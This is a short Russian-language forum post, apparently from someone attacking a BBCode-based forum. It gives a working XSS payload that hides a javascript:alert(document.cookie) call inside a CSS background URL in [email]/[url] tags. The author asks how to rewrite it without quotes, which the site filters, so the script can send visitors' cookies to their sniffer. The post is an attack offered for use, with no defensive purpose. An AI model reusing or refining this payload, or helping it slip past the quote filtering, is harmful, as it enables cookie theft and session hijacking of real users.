HTML: [email=XSS@XSS[url=style=background:url(javascript:alert(document .cookie));display:none;][/url]][/email] это работает, вот только как ни пытаюсь через яваскрипт послать на снифер куки, ни хрена не выходит... (там двойные кавычки фильтруются, а одинарные вообще не отображаются) помогите запрос без кавычек составить плз
